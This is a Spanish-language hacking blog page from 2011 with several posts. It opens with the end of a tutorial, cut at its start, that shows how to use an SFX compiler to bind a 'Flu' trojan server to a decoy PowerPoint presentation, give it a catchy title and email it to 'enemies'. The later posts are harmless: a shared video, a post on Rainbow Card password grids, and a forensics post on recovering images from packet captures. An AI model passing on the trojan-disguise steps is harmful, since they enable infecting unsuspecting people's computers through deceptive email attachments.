Como pueden observar ahora pueden ver las extensiones de sus archivos:

 

3 - Ejecutan SFX Compiler:

 

Ahora agregan el server de Flu y alguna presentación de Power Point.

 

Ahora se van a la pestaña de Options para que puedan configurar cual de los dos archivos se ejecutara primero. Bueno yo le he puesto que se ejecute primero la presentación y luego que se ejecute el server.

 

Ahora procedemos a guardarlo poniéndole el título de presentación que hayamos escogido el cual tiene que ser llamativo XD.

 

4.  Listo ya lo tenemos ahora es cuestión de que lo envíen por correo a sus enemigos jeje

 

Bueno eso es todo espero les haya servido un poco.

Saludos y hasta un próximo tutorial.

sábado, 14 de mayo de 2011

Just HACK!!!

Compartir este artículo:

Hermoso video, simplemente lo tuve que compartir.

[youtube YL-Jus8S26c nolink]

viernes, 13 de mayo de 2011

Rainbow cards, o como guardar muchas contraseñas en un papelito.

Compartir este artículo:

Las rainbowcards son un sistema que combina de forma aleatoria una serie de números y letras y mediante la combinación de columnas y filas nos da nuestra contraseña elegida, con lo que solo debemos acordarnos de esos dos parámetros (como si jugásemos a los barquitos). Además puedes personalizarla con distintos colores, poniéndole en las cuatro últimas filas números (para PINs) o símbolos especiales.

 

Estas combinaciones se realizarán en base a una semilla (palabra o combinación de letras, números y símbolos) que introduzcamos, que será la que el programa utilizará para generar una secuencia de los distintos caracteres. Es decir, si se te pierde la tarjeta, lo único que debes recordar es la palabra que usaste para construir tu rainbowcard.

Lo bueno de todo, posibilidad de securizar y dar variedad a tus contraseñas de forma más fácil, sin tener que estar recordándolas.

 

Lo malo, pues tener que llevar la tarjeta a todos lados, o guardarla bien físicamente.Sobre su uso:

 

  • Elige una dirección. No es obligatorio, pero puede ser buena idea ir siempre de arriba hacia abajo, derecha a izquierda, en diagonal, etc.
  • Define una longitud de clave. Ocho es aceptable y bastante seguro. De nuevo, es buena idea usar siempre la misma longitud.
  • Piensa una combinación de fila y columna o color y columna como punto de partida de cada una de tus claves. Aún podrías usar un password para todo pero no estarías aprovechando tu Rainbow Card al máximo.
  • Cambia tus claves actuales por las obtenidas de tu Rainbow Card.

 

Un saludo, streaming10

 

http://www.rainbowcards.org/es

jueves, 12 de mayo de 2011

Alternativas a recuperación de imágenes de capturas de red

Compartir este artículo:
 

Inspirado en la entrada anterior de Pablo sobre "Recuperación de imágenes con Wireshark", se me vino a la mente hacer este sobre recuperación, pero de forma más "masiva"

Puesto que la idea de filtrar el contenido con los filtros que wireshark nos ofrece es excelente, cuando son varias imagenes existen maneras mas fáciles. Veremos diferentes opciones con diferentes resultados cada una.

 

1.-Wireshark

Con wireshark tenemos una de las opciones mas fáciles y rápidas. Solo hay que dirigirnos a File>Export>Objects>HTTP

 

Después solo pulsar "Save All". Con esto exportaremos TODOS los Objetos HTTP que se cargaron durante la captura de trafico de red. Entre ellas las imágenes.

 

Y solo nos queda visualizar en el directorio donde se guardo:

 

 

2.-Tcpxtract

Otra opcion es tcpxtract, aunque la herramienta es algo antigua, sirve aún :P. Esta herramienta está en CLI y su sintaxis es algo asi:

$tcpxtract -f -o

 

En este caso lo corremos y encuetra 2 imágenes:

 

 

Vemos que una esta corrupta y la otra la obtuvo bien. Pero si nos fijamos no encontró las otras imagenes que con wireshark sacamos. Pese a lo que pueda parecer, tcpxtract tambien es una buena herramienta, personalmente recuerdo una vez que esta me sacó de un apuro :)

 

3.-File Carving con Foremost

Foremos es un programa de FileCarving, que lo podriamos definir como la excavacion de archivos basados en estructuras definidas. El uso de Foremost es muy simple.

$foremost

 

 

De entrada ya podemos esperar no muy buenos resultados con una herramienta simple de file carving en este caso ¿Por qué? porque ese tipo de programas como foremost o scalpel se basan en la recuperacion debido a la identificacion de Cabeceras y Pies de Formato, pero en una captura de red no identificarian la "basura" del trafico y se corromperia el archivo por la basura añadida dentro de su formato.

 

 

Como lo supusimos, los archivos estan dañados. En este caso no nos sirve esta herramienta, pero Foremos es una EXCELENTE herramienta en otro tipo de entornos.

Sin más podemos concluir que la manera más fácil es desde wireshark, fácil, rapido y GUI (para los vagos :P) Y la parte importante de este post es que "Hay muchas maneras de resolver un mismo problema y no debemos de dejar las demás opciones a un lado."

Espero les guste la simple entrada.

 

Saludos ;)

Atte. hecky